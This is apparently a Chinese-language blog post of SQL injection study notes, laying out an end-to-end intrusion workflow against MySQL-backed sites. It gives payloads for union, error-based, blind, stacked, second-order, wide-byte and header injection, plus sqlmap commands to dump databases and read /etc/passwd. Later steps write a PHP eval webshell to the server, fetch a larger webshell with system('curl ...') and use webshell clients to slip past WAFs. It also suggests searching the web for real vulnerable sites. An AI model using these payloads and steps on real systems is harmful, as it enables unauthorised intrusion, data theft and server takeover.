sql注入学习

一、查询漏洞
  1. 根据可控参数的不同,分为三种注入类型,数字型,字符型,搜索型

  1. 注释方式/**/,#,--,url编码为%27

  1. 还有get和post请求,其实完全一样,只是get请求参数在url中,post在请求正文里

二、数字型
  1. 试探

(1)输'引起报错,输注释符#、/**/、-- 没有出错,没有被转义,那就说明这是个明确的注入点

(2)输id=1 and 1=2无查询结果验证这是注入点

  1. 试探列的数量

1、联合查询union select

(1)union查询的前提是列数相等

(2)where id=-1 union select 1,2,3,4...from 表名

表名一般不会乱取,可以收集字典爆破

前面的列数可以试出来,union前后查询的列数要一样才会有结果,否则就是报错或者无查询结果

id=-1说明前面的内容不会被查询了

然后查询某个用户的所有内容其实不会全部显示在页面,所以后面union查询还可以看出查询显示出来的内容是在列表的哪一列

2、排序order by

(1)排序order by 1/2/3/4/5...,是按第几列的顺序排序,如果没有那一列就会报错或者无查询结果

(2)回显查询结果 id=-1 union select 1,2,3,4....

  1. 联合查询

1、在显示的数字位置上,可以替换对应的查询语句,database()(数据库名称),version()(数据库版本),user()(数据库的用户)

2、还可以查询数据表的内容,在有回显内容的数字位置用(select 列名 from 表名 limit 1)替代,前提知道列名还有表名

全部查询出来就是脱裤

3、concat,把一行里的查询内容拼在一起输出在回显位置

(select concat(列名,'==',列名,‘==’,列名.....) from 表名 limit 1)

4、information_schema,其实所有数据库名称,表名,列名都放在information_schema这个数据库里的

(1)例如从information_schema数据库中的tables表查询数据库test的所有表名

goup_concat,就是将一列的内容拼到一行输出,自动以逗号分隔

(select group_concat(table_name) from information_schema.tables where table_schema='test' )

(2) 从information_schema数据库中的columns表查询数据库test里user表的的所有字段名:

(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name=user)

(3)浏览所有的数据库

(select group_concat(distinct(table_schema)) from imformation_schema.tables)

(select group_concat(schema_name) from imformation_schema.schemata)也可以

如果发现phpmyadmin数据库,可以直接访问/phpmyadmin,如果认证方式是config直接进入后台,如果是http,则可以爆破进入,最好不要开启phpmyadmin,或者需要时才远程管理(找找其他后台有没有远程管理)

\xampp\apache\conf\extrahttpd-xampp.conf中配置文件是require local就是只允许本地,#Require all granted允许所有,所以要注释掉

Alias /phpmyadmin "D:/xampp/phpMyAdmin/"

    AllowOverride AuthConfig
    Require local
    #Require all granted
    ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var

\xampp\phpMyAdmin\config.inc.php 里的 $cfg'Servers'['auth_type'] = 'config'; 这样是可以直接远程访问访问的,改成http是需要用户名密码远程访问的

猥琐的解决方法,将用户名设的非常复杂,很难爆破出来

5、直接把数据库的用户名,密码查出来,更省事儿了,直接数据导出来了

(select concat(User,'==',Password) from mysql.user limit 1/2/3/4......,1) )

6、进阶的用法

(1)concat_ws指定分隔符 ,联合group_concat可以一次性整张表查出来

concat_ws('分隔符',列名,.....) limit 0,1 ,还可以外面套group_concat就可以整张表查出来group_concat(concat_ws('分隔符',列名,.....))

  1. 单引号及一些符号被转义,需要用16进制代替单引号

如果前端获取的数据后端php用addslashes函数将数据中的单引号之类的都给转义了

数据库有个函数hex(单引号中的数据),转成16进制后,在查询语句中将有引号的字符用16进制形式代替,去掉引号

三、字符型
  1. 试探

(1)字符型注入的核心是拼接和闭合,因为数字型外面是没有引号的,但是字符型有,所有需要把那个引号闭合,去掉,再拼接新的sql语句

(2)跟数字型一样的,就是多了个闭合的环节

  1. 试探列的数量

where id='-1' union select 1,2,3,4... # ' ', #转成url编码,或者用--+,1' union select 1,2,3,4... # '是注入内容

  1. 查询,和上面完全一样,除了引号需要闭合

四、搜索型

where 列名 like '%字符%' union select 1,2,3,4... # ' ' , %字符%' union select 1,2,3,4... # ' 是注入内容

以上都是mysql的数据库,oracle或sqlserver语法可能有些区别

五、我自己试探sql注入点的过程
  1. 输入' 报错则有注入点

  1. 输1 and 1=1 有结果 但是 1 and 1=2没结果但也没有出错,说明是数字型,字符型这样查是没结果的,但是也不会报错

  1. 输入1' and 1=1 #' 有结果,输入1' and 1=2 #'无结果但也没报错,说明是字符型

六、查询漏洞的利用
  1. 利用sql语句读取文件,或者写入文件

1、确认读取权限

show global variables like "%secure%";查看结果

secure_file_priv 这个为空说明读写任意,为null表示不能读写,=某个路径说明只可以读写那个路径的文件

2、读取文件

回显位置用load_file("D:\xampp\htdocs\learn\new_login\common.php")替代,这个地址可能是之前暴露出来的敏感信息中的路径, 但是不会知道有common.php这个文件,所以需要收集字典遍历,不清楚路径也是可以收集服务器的路径字典遍历的,暴力破解

3、写文件,写入木马

(1)写文件

select 1,2,3 ,“ 写入内容” ,5...... into outfile "写入路径/文件.php(这个文件如果本来没有是会自动创建的)"

遍历路径字典写入,可能无法写入文件也不会报错,那就写一次访问一下,直到找到写入内容,也就找到可写入路径,很多路径是没有写入权限的,所以需要遍历找出来,而且写一定要写到站点下我们才可以访问

(2)写木马

将写入内容换成一句话木马,“

eval()会将字符串当做代码来执行

这个木马意思是先取得参数a的值,然后a的值会被当做代码执行,如果用户能将这段有效代码传入后台,那么可以执行任意代码和指令

a=phpinfo();用来探测,a=system('指令');

( 3)php大马

大马特别大,是个完整的应用程序,那就先传一个小马,然后用下马下载大马

先小马:写入内容换成 “”,访问url?a=system("curl http://xxx//xxx//xxx.php")

  1. 菜刀的使用

输入已经建立好的小马的url还有参数,是post请求,菜刀就是我们已经传入小马之后帮助我们操作的,辅助工具

菜刀的整个传输过程是明文,现在已经被waf进行防护了

  1. 冰蝎的使用

1、冰蝎的小马是可以将通信加解密的shell脚本,可以绕过waf

2、注入方法

(1)先注入一个小马,用菜刀帮助注入冰蝎的shell文件

(2)直接把冰蝎这个小马一行一行注入

(3)注入常规小马,再用系统命令远程下载shell文件

a=system(curl url > 路径/文件)

(4)如果目标站点存在文件上传漏洞,直接上传shell

  1. 找一个有sql注入漏洞的网站,关键词搜索引擎语法,谷歌百度hack

整个注入过程

1、试探是否有注入点并判断注入类型

2、试探列数,用union或者order by

3、试探出回显点,用union

4、在回显点位置确认读取权限

5、在回显点随意读取,大部分路径、文件应该都是可读的

6、在回显点找到可以写入文件的路径,用字典爆破,或者之前就找到敏感路径了

7、找到可写入路径后就可以写入小马,进行随意操作

七、报错注入
  1. union注入不适用的地方

1、注入语句无法截断,且不清楚完整sql查询语句

2、页面不能返回查询信息

3、web页面有两个查询语句,查询语句数列不同

  1. 数据库里储存xml格式的数据

储存:将xml数据直接放在数据库某个表的一栏里,有列名

xml数据例如:


​
•     li
​
•     
​
  
​
  
​
•     ha
​
•     
​
  
​

xpath的格式类似://student[@sequence='2']/name

查询:查询select extractvalue(列名,‘xpath’) from 表名

更新:update 表名 set 列名=updatexml(列名,‘xpath’,"sd"(要修改的内容))

  1. 常用报错注入payload

1、updatexml

payload :1 and updatexml(1,concat(0x7e,user(),0x7e),1)

0x7e是~

原理就是xpath不正确会报错,但是还是会执行更新内容里的语句

user()可以换成任何想查询的内容,例如database(),(select ......),算是一个回显点

2、extractvalue

payload:1 and extactvalue(1,concat(0x7e,user(),0x7e)

跟上面报错是一样的都是利用xpath报错

3、floor报错

1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

八、盲注

就不能使用union注入,也不能使用报错注入,盲注简单来说就是用于没有回显的地方

  1. boolean型盲注

页面只有两种结果,成功显示,没成功啥也不显示,只知道注入成没成功

盲注有时候需要一个字符一个字符去猜,例如查database()

length()返回查询字段长度

mid(column_name,start,length);截取字符串

substr(string,start,length);截取字符串

left(string,n);截取左边几个字符串

ORD():返回字符串的ascii码

ASCII();返回字符串的ascii码

payload:1 and length(database())

1 and substr(database(),start,长度)=‘a/b/c...’ --+用burp暴力猜解,猜对会有结果显示,猜错无结果

显示

1 and(select substr(database(),start,长度)=‘a/b/c...’)构造更复杂的sql语句

  1. 时间型盲注

在无法进行bool型盲注的时候,就是界面什么结果都不会返回,就可以试试时间型,就判断一个东西,正确了也不用输出结果了,就休眠几秒,这样就能判断出是否注入正确

还是先判断查询内容的长度,然后再猜解字符串,这个和bool型的区别就是时间型用休眠时间猜解长度,猜解字符,bool型用是否有返回结果猜解、

payload:1 and if(length(database())=5/6/7/...,sleep(3),1),用休眠时间猜解查询内容长度

      1 and if(substr(database(),start,长度)=‘a/b/c...’,sleep(3),1)用休眠时间猜解查询字符

如果把哪些要查询内容的函数都给屏蔽了,那就没办法了,盲注也没有

九、sqlmap的使用

sqlmap可以完成注入点的发现,数据库的确认,webshell权限和路径的确认,脱裤等一系列操作,测试的payload分5级:-- level 1/2/3..

  1. 发现注入点

sqlmap -u url --cookie=" "

cookie 在f12的网络里找,注入点需要先登录,那就可以手工先登录,然后用相同cookie

  1. 查看所有数据库

sqlmap -u url --dbs

  1. 指定数据库类型会比较节省时间

sqlmap -u url --dbs --dbms=mysql

  1. 查看当前使用的数据库

sqlmap -u url --current-db

  1. 对正在使用的数据库进行查询表

sqlmap -u url --tables -D 数据库名

  1. 查出表后查对user所有列进行查询

sqlmap -u url --columns -T "数据库" -D “表名”

  1. 列名也知道了,直接脱裤

sqlmap -u url --dump -C "列名,列名..." -T "表名" -D "数据库名"

  1. 判断是否是dba,如果是就可以尝试上传shell

sqlmap -u url --dbs=mysql --is-dba

  1. 上传os-shell

1、sqlmap自动写入木马

sqlmap -u url --cookie=" " --dbms=mysql --os-shell

os-shell会进行三个步骤:猜测网络的绝对路径

尝试写入木马

获取到shell命令行

2、sqlmap写入失败后,我们可以手工读写文件

(1)读远程服务器文件

sqlmap -u url --cookie=" " --dbms=mysql --file-read "/etc?passwd"

(2)可以读那就可以写入

sqlmap -u url --cookie=" " --dbms=mysql --file-write 木马本地文件路径 --file-dest sqlmap找出的绝对路径(爆破实际可写入)

就可以使用python调用sqlmap的命令 (os.open("").read())进行盲猜,循环遍历目录字典,爆破写入,根据执行结果不同判断是否写入

--batch 参数可以直接一次性运行完sqlmap,没有需要交互

!!!以上是get请求的操作,如果是post,要先访问注入的url,然后burp抓包,把包copy to file储存起来

然后所有请求都是sqlmap -r 包储存路径 -p 指定注入参数 --cookie=" " --dbs()

十、更新类注入(属于报错类)

更新类注入只会返回bool型的结果,不会返回数据,无法像select一样进行多样化处理,核心是构建报错注入,payload都是闭合引号,构造有逻辑的符合语法规则的语句让数据库报错,不闭合数据库只会先报语法错误

insert into 表名(列名,列名...) values('值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '','值',...)
payload:值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
update 表名 set 列名='值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where 列名=‘值’ 
payload:值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
update 表名 set 列名='值' where 列名=‘值’ or updatexml(1,concat(0x7e,database(),0x7e),1)
payload:or updatexml(1,concat(0x7e,database(),0x7e),1)
十一、堆叠注入(前提是使用了multi_query函数或者方法,属于查询类)

就是在执行的语句中可以执行多条sql语句(批量一次性执行多条sql语句)

select * from 表名 where 列名=1;update 表名 set 列名='值' where 列名=1;
payload:1;update 表名 set 列名=值 where 列名=1(数字型)
select * from 表名 where 列名='1';update 表名 set 列名='值' where 列名=1;#''
payload:1';update 表名 set 列名='值' where 列名=1;#'
十二、二次注入(更新类)

就是注册时用户名用 例如ruo'# ,然后在修改密码的时候就可以把ruo的密码改掉

insert into user (username,passwd) values('ruo'#'',1111),#'被addslashes转义然后再到数据库就是普通字符
uodate user set passwd=2222 where username='ruo'#';
十三、宽字节注入(是gbk编码,查询类)

普通用单引号注入的时候,单引号会被addslashes转义添加反斜杠,但是gbk编码的时候反斜杠会变成%5c,和%bf一组合会变成另一个字符%bf%5c,从而吃掉反斜杠,这样单引号就不会被转义了,可以实现闭合单引号

比如:1%bf' union select 1,2,3--+

十四、url解码注入(会进行url解码)

用addslasnes将符号转义后还用urldecode,rawurldecode进行url解码,所有注入就得先将转义符吞掉,这个吞就利用url解码

(%27解码后是%,%25解码后是单引号),%2725有百分号就会解码,第一次解码后是%25,再解码是‘,源代码是urldecode(addslashes()),所以是先转义再解码,我们输%2725是不会被转义的

十五、代码注入

十六、命令注入

十七、奇淫巧技

十八、http头注入

这个就是更新类注入,一般头里的信息可能会被服务器端收集过去存入数据库,所以后台代码应该是insert into 数据....

所以注入的payload就是上面更新类payload导致报错,即

' or updatexml(1,concat(0x7e,database(),0x7e),1) or '

你可能感兴趣的:(数据库,开发语言,安全,web安全)